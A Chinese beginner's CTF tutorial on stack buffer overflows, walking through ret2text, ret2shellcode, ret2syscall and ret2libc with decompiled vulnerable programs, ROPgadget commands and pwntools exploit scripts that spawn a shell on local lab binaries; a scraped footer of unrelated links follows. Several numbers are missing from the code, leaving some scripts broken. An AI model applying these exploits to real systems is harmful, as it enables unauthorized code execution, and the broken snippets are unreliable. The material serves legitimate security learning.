PWN菜鸡入门之栈溢出(1)
栈溢出
一、基本概念:
函数调用栈情况见链接
基本准备:
bss段可执行检测:
gef➤ b main
Breakpoint at 0x8048536: file ret2shellcode.c, line .
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap
ROPgadget
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int'
系统调用
Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。
二、ret2text
ret2text其实就是调用程序中text中已经存在的shell
三、ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode
实例:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return ;
}
shellcode
解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
四、ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。
32位:拿execve()来举例
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return ;
}
找到相应寄存器地址,其中0xb为execve系统调用地址
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * , pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, , , binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
五、ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。
address of system() 是 system() 在内存中的地址,用来覆盖返回地址。
padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。
address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。
实例:
1).ret2libc1
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, , , );
setvbuf(_bss_start, , , );
puts("RET2LIBC >_<");
gets((char *)&v4);
return ;
}
exp:
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
2).ret2libc2
开启了堆栈不可执行保护
1、构造 payload
第一部分:
‘a' * 112 + gets_plt + ret_addr + buf_addr
这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。
现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。
第二部分:
这部分就与上一题一样,
system_plt + ret_addr + buf_addr
还有另外一种 payload 更简洁情况:
在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。
’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import *
#context.log_level = 'debug'
sh = process('./ret2libc2')
elf = ELF('ret2libc2')
def pwn(sh, payload):
sh.recvuntil('?')
sh.sendline(payload)
sh.sendline('/bin/sh')#这里将 /bin/sh 传入 buf 中
sh.interactive()
buf = elf.symbols['buf2']
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef
#payload = 'a' * + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf)
payload = 'a' * + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)
PWN菜鸡入门之栈溢出(1)的更多相关文章
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之函数调用栈与栈溢出的联系
一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp ...
- PWN菜鸡入门之CANARY探究
看门见码 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strin ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- HDU 2064 菜鸡第一次写博客
果然集训就是学长学姐天天传授水铜的动态规划和搜索,今天讲DP由于困意加上面瘫学长"听不懂就是你不行"的呵呵传授,全程梦游.最后面对连入门都算不上的几道动态规划,我的内心一片宁静,甚 ...
- ACM菜鸡退役帖——ACM究竟给了我什么?
这个ACM退役帖,诸多原因(一言难尽...),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(下)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/12/es-code03/ 前提 上篇文章写完了 ES 流程启动的一部分,main 方法都入 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(上)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/11/es-code02/ 前提 上篇文章写了 ElasticSearch 源码解析 -- ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 环境搭建
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/25/es-code01/ 软件环境 1.Intellij Idea:2018.2版本 2. ...
随机推荐
- Linux运维完全小白入门指南
前几天整理了一下自己入门时候搜集的资料,一边整理一边回忆. 那时候我还是个小白,用虚拟机装了个CentOS系统来玩,但是总也装不上,在论坛上求助也没人理.半天终于有个人说在某网站看过这个问题,我又找了 ...
- LockWindowUpdate的函数的用法
Application.ProcessMessages;LockWindowUpdate(Self.Handle); //锁住当前窗口 LockWindowUpdate(0)//解除锁定窗口 Lock ...
- 机器学习编程接口(api)设计(oop 设计)
fit: 对于 kmeans 来说,fit 的过程,就是训练,自然所需的参数,主要是数据集和聚类中心数, 1. classification(分类) def train(train_images, t ...
- 道量化交易程序猿(25)--Cointrader之MarketData市场数据实体(12)
转载注明出处:http://blog.csdn.net/minimicall.http://cloudtrade.top/ 前面一节我们说到了远端事件.当中.市场数据就属于远端事件.市场数据有什么?我 ...
- WolframAlpha 的使用
WolframAlpha 1. 求解复杂方程组 a+b=−4ab+c=2ac=1 直接点开网站,在输入框中输入,a+b=-4;ab+c=2;ac=1;(逗号分割开来),
- springCloud跨域访问
转自:http://blog.csdn.net/wangkang80/article/details/72829390 什么是跨域? 假设你在http://xxx.com/test/下有一个js文件, ...
- Win10忘记ubuntu子系统密码
原文:Win10忘记ubuntu子系统密码 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/wf19930209/article/details/80 ...
- Windows 10 子系统Linux重启(不重启Win10)
Using CMD (Administrator) net stop LxssManager net start LxssManager
- centos 6 防火墙开启端口无效问题
昨天尝试redis在centos的安装,配置文件都检查了,外网就是不能访问 #添加端口开启 $ iptables -A INPUT -p tcp --dport 6379 -j ACCEPT #保存配 ...
- 办ZigBee实验SmartRF Flash Programmer软件界面无法打开
开SmartRF Flash Programmer: 打开任务管理器.在任务管理器里右键点击.将其最大化: 将最大化的界面拖动到屏幕中间: 然后关闭SmartRF Flash Programmer,之 ...